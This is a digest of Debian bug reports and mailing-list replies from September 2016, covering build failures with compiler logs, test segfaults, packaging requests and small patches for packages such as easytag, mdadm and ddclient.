  Setting up x11proto-render-dev (2:0.11.1-2) ...
  Setting up dbus (1.10.10-1) ...
  invoke-rc.d: could not determine current runlevel
  invoke-rc.d: policy-rc.d denied execution of start.
  Setting up libselinux1-dev:amd64 (2.5-3) ...
  Setting up libxcb1:amd64 (1.11.1-1.1) ...
  Setting up x11proto-input-dev (2.3.2-1) ...
  Setting up libharfbuzz-gobject0:amd64 (1.2.7-1+b1) ...
  Setting up libidl-dev:amd64 (0.8.14-4) ...
  Setting up python-gconf (2.28.1+dfsg-1.1) ...
  Setting up libfontconfig1:amd64 (2.11.0-6.7) ...
  Setting up libsm6:amd64 (2:1.2.2-1+b1) ...
  Setting up libxcb-render0:amd64 (1.11.1-1.1) ...
  Setting up libxcb-util0:amd64 (0.3.8-3) ...
  Setting up libharfbuzz-icu0:amd64 (1.2.7-1+b1) ...
  Setting up python-pyorbit (2.24.0-7.1+b1) ...
  Setting up libavahi-common-dev:amd64 (0.6.32-1) ...
  Setting up libx11-6:amd64 (2:1.6.3-1) ...
  Setting up libavahi-glib-dev:amd64 (0.6.32-1) ...
  Setting up dbus-x11 (1.10.10-1) ...
  Setting up libatk1.0-dev:amd64 (2.22.0-1) ...
  Setting up libgnutls28-dev:amd64 (3.5.4-2) ...
  Setting up gir1.2-gconf-2.0 (3.2.6-3) ...
  Setting up libx11-xcb1:amd64 (2:1.6.3-1) ...
  Setting up x11proto-xext-dev (7.3.0-1) ...
  Setting up libfreetype6-dev (2.6.3-3+b1) ...
  Setting up liborbit2-dev (1:2.14.19-1+b1) ...
  Setting up libice-dev:amd64 (2:1.0.9-1+b1) ...
  Setting up libxcomposite1:amd64 (1:0.4.4-1) ...
  Setting up libxcb-shm0:amd64 (1.11.1-1.1) ...
  Setting up libxrender1:amd64 (1:0.9.9-2) ...
  Setting up libxcb1-dev:amd64 (1.11.1-1.1) ...
  Setting up 

Bug#838593: easytag: FTBFS: dh_install: Cannot find (any matches for) "usr/lib/nautilus/*/*.so" (tried in "." and "debian/tmp")

[Chris Lamb]

Source: easytag
Version: 2.4.2-1
Severity: serious
Justification: fails to build from source
User: reproducible-bui...@lists.alioth.debian.org
Usertags: ftbfs
X-Debbugs-Cc: reproducible-bui...@lists.alioth.debian.org

Dear Maintainer,

easytag fails to build from source in unstable/amd64:

  [..]

  /usr/bin/install -c -m 644 C/legal.xml 
/home/lamby/temp/cdt.20160922190956.m6TreDVxuM.db.easytag/easytag-2.4.2/debian/tmp/usr/share/help/C/easytag/legal.xml
  /usr/bin/install -c -m 644 C/playlist-generate.page 
/home/lamby/temp/cdt.20160922190956.m6TreDVxuM.db.easytag/easytag-2.4.2/debian/tmp/usr/share/help/C/easytag/playlist-generate.page
  /usr/bin/install -c -m 644 C/problems-id3.page 
/home/lamby/temp/cdt.20160922190956.m6TreDVxuM.db.easytag/easytag-2.4.2/debian/tmp/usr/share/help/C/easytag/problems-id3.page
  /usr/bin/install -c -m 644 C/problems-ogg-split.page 
/home/lamby/temp/cdt.20160922190956.m6TreDVxuM.db.easytag/easytag-2.4.2/debian/tmp/usr/share/help/C/easytag/problems-ogg-split.page
  /usr/bin/install -c -m 644 C/scanner.page 
/home/lamby/temp/cdt.20160922190956.m6TreDVxuM.db.easytag/easytag-2.4.2/debian/tmp/usr/share/help/C/easytag/scanner.page
  /usr/bin/install -c -m 644 C/starting.page 
/home/lamby/temp/cdt.20160922190956.m6TreDVxuM.db.easytag/easytag-2.4.2/debian/tmp/usr/share/help/C/easytag/starting.page
  /usr/bin/install -c -m 644 C/tag-capitalization.page 
/home/lamby/temp/cdt.20160922190956.m6TreDVxuM.db.easytag/easytag-2.4.2/debian/tmp/usr/share/help/C/easytag/tag-capitalization.page
  /usr/bin/install -c -m 644 C/tag-field.page 
/home/lamby/temp/cdt.20160922190956.m6TreDVxuM.db.easytag/easytag-2.4.2/debian/tmp/usr/share/help/C/easytag/tag-field.page
  /usr/bin/install -c -m 644 C/tag.page 
/home/lamby/temp/cdt.20160922190956.m6TreDVxuM.db.easytag/easytag-2.4.2/debian/tmp/usr/share/help/C/easytag/tag.page
  /usr/bin/install -c -m 644 ca/cddb-search.page 
/home/lamby/temp/cdt.20160922190956.m6TreDVxuM.db.easytag/easytag-2.4.2/debian/tmp/usr/share/help/ca/easytag/cddb-search.page
  /usr/bin/install -c -m 644 ca/file-rename.page 
/home/lamby/temp/cdt.20160922190956.m6TreDVxuM.db.easytag/easytag-2.4.2/debian/tmp/usr/share/help/ca/easytag/file-rename.page
  /usr/bin/install -c -m 644 ca/file-select.page 
/home/lamby/temp/cdt.20160922190956.m6TreDVxuM.db.easytag/easytag-2.4.2/debian/tmp/usr/share/help/ca/easytag/file-select.page
  /usr/bin/install -c -m 644 ca/format-specifier.page 
/home/lamby/temp/cdt.20160922190956.m6TreDVxuM.db.easytag/easytag-2.4.2/debian/tmp/usr/share/help/ca/easytag/format-specifier.page
  /usr/bin/install -c -m 644 ca/image-delete.page 
/home/lamby/temp/cdt.20160922190956.m6TreDVxuM.db.easytag/easytag-2.4.2/debian/tmp/usr/share/help/ca/easytag/image-delete.page
  /usr/bin/install -c -m 644 ca/image-export.page 
/home/lamby/temp/cdt.20160922190956.m6TreDVxuM.db.easytag/easytag-2.4.2/debian/tmp/usr/share/help/ca/easytag/image-export.page
  /usr/bin/install -c -m 644 ca/image.page 
/home/lamby/temp/cdt.20160922190956.m6TreDVxuM.db.easytag/easytag-2.4.2/debian/tmp/usr/share/help/ca/easytag/image.page
  /usr/bin/install -c -m 644 ca/index.page 
/home/lamby/temp/cdt.20160922190956.m6TreDVxuM.db.easytag/easytag-2.4.2/debian/tmp/usr/share/help/ca/easytag/index.page
  /usr/bin/install -c -m 644 ca/introduction.page 
/home/lamby/temp/cdt.20160922190956.m6TreDVxuM.db.easytag/easytag-2.4.2/debian/tmp/usr/share/help/ca/easytag/introduction.page
  /usr/bin/install -c -m 644 ca/keyboard-shortcuts.page 
/home/lamby/temp/cdt.20160922190956.m6TreDVxuM.db.easytag/easytag-2.4.2/debian/tmp/usr/share/help/ca/easytag/keyboard-shortcuts.page
  /usr/bin/install -c -m 644 ca/legal.xml 
/home/lamby/temp/cdt.20160922190956.m6TreDVxuM.db.easytag/easytag-2.4.2/debian/tmp/usr/share/help/ca/easytag/legal.xml
  /usr/bin/install -c -m 644 ca/playlist-generate.page 
/home/lamby/temp/cdt.20160922190956.m6TreDVxuM.db.easytag/easytag-2.4.2/debian/tmp/usr/share/help/ca/easytag/playlist-generate.page
  /usr/bin/install -c -m 644 ca/problems-id3.page 
/home/lamby/temp/cdt.20160922190956.m6TreDVxuM.db.easytag/easytag-2.4.2/debian/tmp/usr/share/help/ca/easytag/problems-id3.page
  /usr/bin/install -c -m 644 ca/problems-ogg-split.page 
/home/lamby/temp/cdt.20160922190956.m6TreDVxuM.db.easytag/easytag-2.4.2/debian/tmp/usr/share/help/ca/easytag/problems-ogg-split.page
  /usr/bin/install -c -m 644 ca/scanner.page 
/home/lamby/temp/cdt.20160922190956.m6TreDVxuM.db.easytag/easytag-2.4.2/debian/tmp/usr/share/help/ca/easytag/scanner.page
  /usr/bin/install -c -m 644 ca/starting.page 
/home/lamby/temp/cdt.20160922190956.m6TreDVxuM.db.easytag/easytag-2.4.2/debian/tmp/usr/share/help/ca/easytag/starting.page
  /usr/bin/install -c -m 644 ca/tag-capitalization.page 
/home/lamby/temp/cdt.20160922190956.m6TreDVxuM.db.easytag/easytag-2.4.2/debian/tmp/usr/share/help/ca/easytag/tag-capitalization.page
  /usr/bin/install -c -m 644 ca/tag-field.page 

Bug#838591: gcc-6: GROMACS compiled with gcc 6.2.0-4 fails the tests

[Vedran Miletić]

Package: gcc-6
Version: 6.2.0-4
Severity: important

Dear Maintainer,

Building GROMACS branch release-2016 from source with gcc 6.2.0-4 and running
tests results in:

Test project /home/vedranm/workspace/CompChem/gromacs/build-gcc
  Start  1: TestUtilsUnitTests
 1/20 Test  #1: TestUtilsUnitTests ...   Passed0.29 sec
  Start  2: GmxlibTests
 2/20 Test  #2: GmxlibTests ..   Passed0.06 sec
  Start  3: MdlibUnitTest
 3/20 Test  #3: MdlibUnitTest    Passed0.04 sec
  Start  4: CommandLineUnitTests
 4/20 Test  #4: CommandLineUnitTests .***Exception: SegFault  0.07 
sec
[==] Running 46 tests from 6 test cases.
[--] Global test environment set-up.
[--] 3 tests from CommandLineHelpModuleTest
[ RUN  ] CommandLineHelpModuleTest.PrintsGeneralHelp
[   OK ] CommandLineHelpModuleTest.PrintsGeneralHelp (25 ms)
[ RUN  ] CommandLineHelpModuleTest.PrintsHelpOnTopic

  Start  5: FFTUnitTests
 5/20 Test  #5: FFTUnitTests .   Passed0.94 sec
  Start  6: MathUnitTests
 6/20 Test  #6: MathUnitTests    Passed0.05 sec
  Start  7: RandomUnitTests
 7/20 Test  #7: RandomUnitTests ..   Passed0.06 sec
  Start  8: OnlineHelpUnitTests
 8/20 Test  #8: OnlineHelpUnitTests ..***Exception: SegFault  0.07 
sec
[==] Running 22 tests from 4 test cases.
[--] Global test environment set-up.
[--] 6 tests from TextTableFormatterTest
[ RUN  ] TextTableFormatterTest.HandlesBasicCase
[   OK ] TextTableFormatterTest.HandlesBasicCase (6 ms)
[ RUN  ] TextTableFormatterTest.HandlesEmptyColumnTitles
[   OK ] TextTableFormatterTest.HandlesEmptyColumnTitles (0 ms)
[ RUN  ] TextTableFormatterTest.HandlesIndentation
[   OK ] TextTableFormatterTest.HandlesIndentation (0 ms)
[ RUN  ] TextTableFormatterTest.HandlesOverflowingLines
[   OK ] TextTableFormatterTest.HandlesOverflowingLines (4 ms)
[ RUN  ] TextTableFormatterTest.HandlesLastColumnFolding
[   OK ] TextTableFormatterTest.HandlesLastColumnFolding (1 ms)
[ RUN  ] TextTableFormatterTest.HandlesEmptyColumns
[   OK ] TextTableFormatterTest.HandlesEmptyColumns (0 ms)
[--] 6 tests from TextTableFormatterTest (12 ms total)

[--] 3 tests from HelpManagerTest
[ RUN  ] HelpManagerTest.HandlesRootTopic

  Start  9: OptionsUnitTests
 9/20 Test  #9: OptionsUnitTests .***Exception: SegFault  0.03 
sec
[==] Running 74 tests from 10 test cases.
[--] Global test environment set-up.
[--] 5 tests from AbstractOptionStorageTest
[ RUN  ] AbstractOptionStorageTest.HandlesSetInFinish

  Start 10: UtilityUnitTests
10/20 Test #10: UtilityUnitTests .   Passed0.14 sec
  Start 11: FileIOTests
11/20 Test #11: FileIOTests ..   Passed0.07 sec
  Start 12: SimdUnitTests
12/20 Test #12: SimdUnitTests    Passed0.18 sec
  Start 13: LegacyToolsTests
13/20 Test #13: LegacyToolsTests .   Passed0.47 sec
  Start 14: GmxPreprocessTests
14/20 Test #14: GmxPreprocessTests ...   Passed0.29 sec
  Start 15: CorrelationsTest
15/20 Test #15: CorrelationsTest .   Passed0.79 sec
  Start 16: AnalysisDataUnitTests
16/20 Test #16: AnalysisDataUnitTests ***Exception: SegFault  0.06 
sec
[==] Running 69 tests from 14 test cases.
[--] Global test environment set-up.
[--] 3 tests from AnalysisDataInitializationTest
[ RUN  ] AnalysisDataInitializationTest.BasicInitialization
[   OK ] AnalysisDataInitializationTest.BasicInitialization (1 ms)
[ RUN  ] AnalysisDataInitializationTest.ChecksMultiColumnModules
[   OK ] AnalysisDataInitializationTest.ChecksMultiColumnModules (17 ms)
[ RUN  ] AnalysisDataInitializationTest.ChecksMultipointModules
[   OK ] AnalysisDataInitializationTest.ChecksMultipointModules (0 ms)
[--] 3 tests from AnalysisDataInitializationTest (18 ms total)

[--] 8 tests from AnalysisDataCommonTest/0, where TypeParam = 
(anonymous namespace)::SimpleInputData
[ RUN  ] AnalysisDataCommonTest/0.CallsModuleCorrectly

  Start 17: SelectionUnitTests
17/20 Test #17: SelectionUnitTests ...   Passed0.72 sec
  Start 18: TrajectoryAnalysisUnitTests
18/20 Test #18: TrajectoryAnalysisUnitTests ..***Exception: SegFault  0.06 
sec
[==] Running 48 tests from 8 test cases.
[--] Global test environment set-up.
[--] 11 tests from AngleModuleTest
[ RUN  ] AngleModuleTest.ComputesSimpleAngles

WARNING: If there are molecules in the input trajectory file
 that are broken across periodic boundaries, they
 cannot be made whole (or treated as whole) without
 you providing a run input file.


  Start 19: 

Bug#838176: mcabber: please update the package to the latest release

[Mikael Berthe]

* Anatoly Kazantsev  [2016-09-18 06:43 +0200]:
> 
> Current version of mcabber is 1.0.2 but we still have 0.10 in debian,
> so some new features and fixes are missing.

1.0.3 now, actually! :)

> I'd like to help to package a newer release though I'm not a DD or anything 
> lile that.
> I've already built the latest version using debian tools and offered a help
> to you in April via a private email.

If I am not mistaken an mcabber developer also offered his help a while
ago.

Regards,
-- 
Mikael

Bug#835416: imagevis3d: FTBFS: singleton.hpp:131: undefined reference to `boost::serialization::singleton_module::is_locked()'

[Tom Fogal]

Hi, thanks for looking into this.

On 09/20/2016 02:45 AM, peter green wrote:
>> 1. It's failing in the doc/genlua stuff, which is an internal tool meant
>> to generate documentation that is currently unfinished.  Arguably it
>> should be removed from source releases anyway.  So a simple fix is for
>> debian to just remove this directory from SUBDIRS in TuvokSubdirs.pro.
>
> I don't see a file called TuvokSubdirs.pro , I guess you mean 
> Tuvok/Tuvok.pro ?

Ahh, this must just be an older version, mea culpa.  Yeah, IIRC it would
be there.

> Anyway I removed doc/genlua from SUBDIRS in Tuvok/Tuvok.pro and tried a 
> build in raspbian stretch.
> 
> Unfortunately it failed with
> 
> g++ -fopenmp -Wl,-z,relro -o ../Build/ImageVis3D 
[snip]
> ../Tuvok/Build/libTuvok.a(SysTools.o): In function 
> `SysTools::GetTempDirectory(std::__cxx11::basic_string std::char_traits, std::allocator >&)':
> ./Tuvok/Basics/SysTools.cpp:1060: warning: the use of `tmpnam' is 
> dangerous, better use `mkstemp'
> ../Build/objects/ImageVis3D_WindowHandling.o: In function 
> `boost::serialization::singleton::get_mutable_instance()':
> /usr/include/boost/serialization/singleton.hpp:131: undefined reference 
> to `boost::serialization::singleton_module::is_locked()'

Yes, this is the same issue that was causing 'genlua' to fail; looks
like simply removing that code wasn't a great workaround.  Sorry.

I dug a bit deeper, by downloading boost 1.61 and verifying that,
indeed, the singleton.hpp included there is NOT a header-only library,
yet the one included in Tuvok's 3rdParty directory IS a header-only library.

Looking closer at the build log, I note that it is missing many of the
-I options that upstream has.  Notably in this case:
-IIO/3rdParty/boost.  This in turn causes it to use the system copy of
boost, which has changed behavior to require a new link option.

I can think of a number of solutions:

  * build-dep require a similar version of boost on the system.  I
can confirm 1.58 is fine.  Note that the runtime is irrelevant
since IV3D restricts itself to header-only parts of boost.

  * don't hack out the -I flags from upstream so that IV3D uses its
internal copy of boost.

  * edit the .pro files to force this to link against
libboost_serialization.so.

Bug#838590: dymo-cups-drivers: FTBFS: CupsFilterLabelWriter.h:58:104: error: 'ppd_file_t' has not been declared

[Chris Lamb]

Source: dymo-cups-drivers
Version: 1.4.0-5
Severity: serious
Justification: fails to build from source
User: reproducible-bui...@lists.alioth.debian.org
Usertags: ftbfs
X-Debbugs-Cc: reproducible-bui...@lists.alioth.debian.org

Dear Maintainer,

dymo-cups-drivers fails to build from source in unstable/amd64:

  [..]


 ^~
  CupsFilterLabelWriter.h:58:104: error: 'ppd_file_t' has not been declared
 static void ProcessPPDOptions (CLabelWriterDriverTwinTurbo& Driver, 
CLabelWriterLanguageMonitor& LM, ppd_file_t* ppd);

  ^~
  CupsFilterLabelWriter.cpp:26:110: error: 'ppd_file_t' has not been declared
   void CDriverInitializerLabelWriter::ProcessPPDOptions(CLabelWriterDriver& 
Driver, CDummyLanguageMonitor& LM, ppd_file_t* ppd)

^~
  CupsFilterLabelWriter.cpp: In static member function 'static void 
DymoPrinterDriver::CDriverInitializerLabelWriter::ProcessPPDOptions(DymoPrinterDriver::CLabelWriterDriver&,
 DymoPrinterDriver::CDummyLanguageMonitor&, int*)':
  CupsFilterLabelWriter.cpp:28:3: error: 'ppd_choice_t' was not declared in 
this scope
 ppd_choice_t* choice = ppdFindMarkedChoice(ppd, "Resolution");
 ^~~~
  CupsFilterLabelWriter.cpp:28:17: error: 'choice' was not declared in this 
scope
 ppd_choice_t* choice = ppdFindMarkedChoice(ppd, "Resolution");
   ^~
  CupsFilterLabelWriter.cpp:28:63: error: 'ppdFindMarkedChoice' was not 
declared in this scope
 ppd_choice_t* choice = ppdFindMarkedChoice(ppd, "Resolution");
 ^
  CupsFilterLabelWriter.cpp:37:57: error: 'stderr' was not declared in this 
scope
   fputs("WARNING: unable to get Resolution choice\n", stderr);
   ^~
  CupsFilterLabelWriter.cpp:37:63: error: 'fputs' was not declared in this scope
   fputs("WARNING: unable to get Resolution choice\n", stderr);
 ^
  CupsFilterLabelWriter.cpp:48:59: error: 'stderr' was not declared in this 
scope
   fputs("WARNING: unable to get PrintQuality choice\n", stderr);
 ^~
  CupsFilterLabelWriter.cpp:48:65: error: 'fputs' was not declared in this scope
   fputs("WARNING: unable to get PrintQuality choice\n", stderr);
   ^
  CupsFilterLabelWriter.cpp:64:59: error: 'stderr' was not declared in this 
scope
   fputs("WARNING: unable to get PrintDensity choice\n", stderr);
 ^~
  CupsFilterLabelWriter.cpp:64:65: error: 'fputs' was not declared in this scope
   fputs("WARNING: unable to get PrintDensity choice\n", stderr);
   ^
  CupsFilterLabelWriter.cpp:66:24: error: request for member 'modelname' in '* 
ppd', which is of non-class type 'int'
 if (!strcasecmp(ppd->modelname, "DYMO LabelWriter 300")
  ^
  CupsFilterLabelWriter.cpp:67:23: error: request for member 'modelname' in '* 
ppd', which is of non-class type 'int'
 || !strcasecmp(ppd->modelname, "DYMO LabelWriter 310")
 ^
  CupsFilterLabelWriter.cpp:68:23: error: request for member 'modelname' in '* 
ppd', which is of non-class type 'int'
 || !strcasecmp(ppd->modelname, "DYMO LabelWriter 315"))
 ^
  CupsFilterLabelWriter.cpp:71:24: error: request for member 'modelname' in '* 
ppd', which is of non-class type 'int'
 if (!strcasecmp(ppd->modelname, "DYMO LabelWriter 4XL"))
  ^
  CupsFilterLabelWriter.cpp:74:24: error: request for member 'modelname' in '* 
ppd', which is of non-class type 'int'
 if (!strcasecmp(ppd->modelname, "DYMO LabelWriter SE450"))
  ^
  CupsFilterLabelWriter.cpp: In static member function 'static void 
DymoPrinterDriver::CDriverInitializerLabelWriter::ProcessPageOptions(DymoPrinterDriver::CLabelWriterDriver&,
 DymoPrinterDriver::CDummyLanguageMonitor&, cups_page_header2_t&)':
  CupsFilterLabelWriter.cpp:88:13: error: 'stderr' was not declared in this 
scope
   fprintf(stderr, "WARNING: Invalid value for cupsMediaType (%d)\n", 
PageHeader.cupsMediaType);
   ^~
  CupsFilterLabelWriter.cpp:88:96: error: 'fprintf' was not declared in this 
scope
   fprintf(stderr, "WARNING: Invalid value for cupsMediaType (%d)\n", 
PageHeader.cupsMediaType);
  

Bug#838542: [Android-tools-devel] Bug#838542: android-platform-system-core: profile build does not actually work

[Wookey]

On 2016-09-22 23:42 +0800, 殷啟聰 wrote:
> Hi Wookey,
> 
> Thanks for your bug report!
> 
> I have spotted the issue and fixed it in VCS. Please see:
> .
> 
> libunwind and safe-iop are indeed needed in stage1, as well as pandoc
> (I guess you had typos?). We never intended to set a stage for "nodoc"
> which, so I also included it in stage1.

The point here is that which things are skipped in a 'stage1' build is
not very well defined. It is primarily there to break build-dep
loops. Clearly that involves the packages from
android-platform-system-extras. It is also useful to avoid needing the
pango packaging tools, because that involves haskell, but that's not a
specific dependency-loop here, and we have a more specific profile for doing
this: 'nodoc'. So it is better to use that one, because it makes it
easier to write automated tools to do bootstrapping. However it's not
very important, so if you really prefer to but it all under 'stage1'
I'm not going to make a fuss :-)

Build-profile policy is still developing as we work out what is
best, and it's not written down anywhere...

> However I'm not sure about your point of self dependency of
> andoid-platform-system-core-headers. This package does not
> build-depend on it, but instead depends on
> android-platform-build-headers.

Ah yes. I was confusing the two, you are right. And
android-platform-build-headers comes from android-platform-build
source pakcage, but that build-depends on android-libutils-dev so
there is stilla circular dependency in there? Or do you have profile
info to work round that?

Wookey
-- 
Principal hats:  Linaro, Debian, Wookware, ARM
http://wookware.org/


signature.asc
Description: Digital signature

Bug#837078: missing make install option

[Wookey]

On 2016-09-15 14:46 +0200, Iztok Jeras wrote:
> Hi wookey,
> 
> I tried to install this library on my Xilinx Zynq ARM board with Ubuntu
> 16.04.01. I noticed make install was missing. I searched bug reports and pull
> requests for some help and found a patch. I updated some whitespace as
> requested by upstream developers and created a new pull request:
> https://github.com/projectNe10/Ne10/pull/134
> 
> But I do not have cmake experience so I can not comment on the quality of the
> provided patch.

Patch looks good. I have included it as it makes the packaging simpler.

I have a basic packaging done now, and have just clarified a question
about the licencing.  The only major thing missing is that the current build
doesn't build the docs. I'll fix that and then upload.

Wookey
-- 
Principal hats:  Linaro, Debian, Wookware, ARM
http://wookware.org/


signature.asc
Description: Digital signature

Bug#838589: pg8000: please provide Python 3 package

[Dominik George]

Source: pg8000
Severity: normal

-BEGIN PGP SIGNED MESSAGE-
Hash: SHA256

The package does not seem to build a python3-pg8000 package, although,
according to upstream, pg8000 works with Python 3.

I am currently packaging the testing.postgresql package for unit testing
database applications, and it uses the pg8000 interface.

Could you please enable the build for Python 3 (and, if necessary for
doing so, package the latest upstream version beforehand)?

- -- System Information:
Debian Release: stretch/sid
  APT prefers unstable
  APT policy: (500, 'unstable'), (500, 'testing'), (500, 'stable')
Architecture: amd64 (x86_64)

Kernel: Linux 4.7.0-1-amd64 (SMP w/4 CPU cores)
Locale: LANG=de_DE.UTF-8, LC_CTYPE=de_DE.UTF-8 (charmap=UTF-8)
Shell: /bin/sh linked to /bin/lksh
Init: systemd (via /run/systemd/system)

-BEGIN PGP SIGNATURE-

iQJhBAEBCABLBQJX5A/9MRpodHRwczovL3d3dy5kb21pbmlrLWdlb3JnZS5kZS9n
cGctcG9saWN5LnR4dC5hc2MSHG5pa0BuYXR1cmFsbmV0LmRlAAoJELeaPBagxPKW
CKEP/34JRg9TEbmJR7vCmnhCkfQj629ybEWK5QTrhFCO5Cfv+xAu/mdA/izC2U2U
4uTXMhS3JoU+dwEVIwFtXXE8llIgvpDf4JvNjJt/BEVjjL/yMoF4t56QAmk9yD80
fFWEMWijXqDC0uvmqjGSCCwV3zR3ycXn1A0uB0Nh9IKbvcph1igTUhlLDlRJ1zMW
v09N5Ln2FL0oXlNEncqSa9Z9bmToyG7yCrFNrXTyE0uhgD4zpFLEZAjRfy1qbAco
rJXP3c4jzXj2rey2HplcgTaTDu03T1WjsECLitVv7aB4ugQeOWTFqgP2Cx1ONIRp
37iBu+mRVrTh1sPqTXAaYpkJFmroU7Fk9UG1PAB8dOaFX4qBTi6KYWgYtA6sabER
6I97Vj4ADhyqZFOGypoK0sUQaSi/iUFskwEVa9G0rW4Ln7RlKUXeRtlEs8JQllyg
t+OqHSLp9sUI6X2Kj9EsDF6ImYDW49GESpMIVnaahpEQEtA/Yv99xGsCN4GufR8O
v6SQEIbNUZG0UxOYhAWPHEQcbJD7Kw8hr5/tKuPlVE/f6gUg8eAvGvVgYNDjYCJv
WoUsibNhzwAnNmvsswQetgL5GbWXcBGsn/sBEtHdxYV/W0MTSa+25/QinQYTlfeQ
lQUQ3aKOCUGPRGk93r6c0neY187WmeiowI91woBLdIuud7r6
=VjWb
-END PGP SIGNATURE-

Bug#838588: Out of date

[Timothy Pearson]

Package: libpam-pkcs11
Version: 0.6.8-4
Severity: important

This package is out of date by at least a year; since the last udate there
have been numerous fixes that allow this module to integrate properly into
modern card based environments.

Please update this package to the latest upstream GIT head.

Thank you,

Bug#837964: 95a05b3 broke mdadm --add on my superblock 1.0 array

[Anthony DeRobertis]

On Wed, Sep 21, 2016 at 10:40:22PM -0400, Guoqing Jiang wrote:
> 
> Does the below change work? Thanks.

Yes, this patch (after un-email-mangling it) fixes it.

> 
> diff --git a/super1.c b/super1.c
> index 9f62d23..6a0b075 100644
> --- a/super1.c
> +++ b/super1.c
> @@ -2433,7 +2433,10 @@ static int write_bitmap1(struct supertype *st, int
> fd, enum bitmap_update update
> memset(buf, 0xff, 4096);
> memcpy(buf, (char *)bms, sizeof(bitmap_super_t));
> 
> -   towrite = calc_bitmap_size(bms, 4096);
> +   if (__le32_to_cpu(bms->nodes) == 0)
> +   towrite = calc_bitmap_size(bms, 512);
> +   else
> +   towrite = calc_bitmap_size(bms, 4096);
> while (towrite > 0) {
> 
> Regards,
> Guoqing

Bug#625715: ddclient: Debconf should include options for no-ip.com

[Marcos Dione]

Package: ddclient
Version: 3.8.3-1.1
Followup-For: Bug #625715


Here's a patch for this bug. The new list was generated with this command 
line:

/usr/sbin/ddclient -help | egrep '^o ' | cut -d "'" -f 2 | python3 -c "import 
sys; s = sys.stdin.read(); print(s.replace('\n', ', '))"

I think it also helps fixing #742194, #691000, #793066. Cheers,

-- Marcos.


-- System Information:
Debian Release: stretch/sid
  APT prefers testing
  APT policy: (500, 'testing')
Architecture: i386 (i686)

Kernel: Linux 4.6.0-1-686-pae (SMP w/2 CPU cores)
Locale: LANG=en_US.UTF-8, LC_CTYPE=en_US.UTF-8 (charmap=UTF-8)
Shell: /bin/sh linked to /bin/dash
Init: systemd (via /run/systemd/system)

Versions of packages ddclient depends on:
ii  debconf [debconf-2.0]  1.5.59
ii  lsb-base   9.20160629
ii  perl   5.22.2-5

Versions of packages ddclient recommends:
pn  libio-socket-ssl-perl  

ddclient suggests no packages.

-- debconf information:
* ddclient/password-mismatch:
  ddclient/blankhostslist:
* ddclient/fetchhosts: Manually
* ddclient/checkip: false
* ddclient/run_ipup: false
* ddclient/daemon_interval: 1d
* ddclient/server: freedns.afraid.org
* ddclient/service: other
* ddclient/interface:
  ddclient/run_dhclient: false
* ddclient/run_daemon: true
* ddclient/protocol: freedns
  ddclient/modifiedconfig:
diff --git a/debian/ddclient.templates b/debian/ddclient.templates
index bb62242..9fa7cc3 100644
--- a/debian/ddclient.templates
+++ b/debian/ddclient.templates
@@ -25,7 +25,7 @@ _Description: Dynamic DNS server:
 
 Template: ddclient/protocol
 Type: select
-Choices: dyndns2, dslreports1, easydns, hammernode1, zoneedit1, dyndns1
+Choices: changeip, cloudflare, concont, dnspark, dslreports1, dtdns, duckdns, dyndns1, dyndns2, easydns, freedns, googledomains, hammernode1, namecheap, noip, nsupdate, sitelutions, zoneedit1
 Default: dyndns2
 _Description: Dynamic DNS update protocol:
  Please select the dynamic DNS update protocol used by your dynamic DNS service

Bug#838587: ITP: python-testing.common.database -- Utilities for Python testing.* modules

[Dominik George]

Package: wnpp
Severity: wishlist
Owner: Dominik George 

-BEGIN PGP SIGNED MESSAGE-
Hash: SHA256

* Package name: python-testing.common.database
  Version : 2.0.0
  Upstream Author : Takeshi Komiya
* URL : https://github.com/tk0miya/testing.common.database
* License : Apache
  Programming Lang: Python
  Description : Utilities for Python testing.* modules

This package provides common utilities for some Python unit testing
modules that handle database tests. Right now, two major test modules
are known: testing.mysqld and testing.postgresql.


The package shall be maintained inside the Debian Python Modules Team.

-BEGIN PGP SIGNATURE-

iQJhBAEBCABLBQJX5AwLMRpodHRwczovL3d3dy5kb21pbmlrLWdlb3JnZS5kZS9n
cGctcG9saWN5LnR4dC5hc2MSHG5pa0BuYXR1cmFsbmV0LmRlAAoJELeaPBagxPKW
DRsQALPk23qalpioBK5geJfr/Lgo7t2svsmpdFaHQzixvEyJK3twJ8b5enXM8AJR
Gd1GKGyvW+0qKTbrin4UNmP/LaynGQ1ZH63uE3rZ0VSzREi6b1ZjHd/vGKBjnq6m
77SSHRT5xkdg6mwjG19fQDx16vBn2qcEXiOZrwyjNaMD1k9T2xNBx/G8GzfIeZnD
0t0u3lIsDYU9ZpcE0GvUMi8zbUjRStUUMAEc3tnkvcz31lR7hA1xxjvWM5myY+ff
LVWA2vu+MQ5EvEJQrPjBfmKlIr+o32Nrc9BgoLkddm4Ol3ehhY9MuF2PI0U9f7nY
ZkidIkw6E42b94h/nA80i2VHHSMLbmZITReA5+s+nUvuv0is47Ymo1Z6UD5zIBZD
I1TXSMofkINsZKmkoSWmRXWq3lGRp8N+/ifw/4wSMPpiqrioH4OkeW9cogczx0KR
4yVg5muZz8UzVNBoj45dY49UluqEPbVNzd+bB9OJMd5X4y/ELwT7nFzF0PrB/d8Y
rUlfSC2m16eAu1aa19zWGRgLK0DHc7IPcbz2lOaPe5K2TEoC47oEbxDxsiMfo3Mp
trL+aI+cuAmYHQhoMA+YLuRTBriwjZ4auxYOBgSnV34dn5N3V2MSofaBOmyhZdJK
l7aQ1IYOErnhjoWq4miHHxLA3WclyI1VgYHImaPq+eUTvpzM
=tkW5
-END PGP SIGNATURE-

Bug#838586: roxterm false on start up segfault

[fisherman]

Package: roxterm
Version: 2.9.5-1
Severity: grave
Justification: renders package unusable

Dear Maintainer,

When I start roxterm from gnome-terminal, it crashes with tons(>1000) of
strings like
"** (roxterm:28783): WARNING **: VTE's inner-border property unavailable"
and segfault. Numbers after "roxterm:" are the same in all strings, but new
after each crash.
Thats realy stange, becouse I hadn`t changed any options in my system or
roxterm for a while
when I found roxterm doesn`t work. May be problem is in my new themse for GTK+
(Flat - Plat)
and Gnome Shell (Sequoia-ng). I installed them in 3-4 days before first crash
so it looks like wrong idea.
Also I installed some packages for themse:
albatross-gtk-theme blackbird-gtk-theme bluebird-gtk-theme greybird-gtk-theme
gtk2-engines-murrine murrine-themes
but deleting them with aptitude purge, reinstalling roxterm, restarting gnome,
creating and reloginig to a new user
(with standart themse: Adwaita) and evean rebooting don`t fix my problem.
So I don`t know, what caused that error. According to the error string the
problem is in VTE,
but it doesn`t looks broken. Gnome terminal, for example, works with no
problem.

I forgot to say, I have transparent background in roxterm. May be that`s
important.

Thank you for your consideration.



-- System Information:
Debian Release: stretch/sid
  APT prefers testing
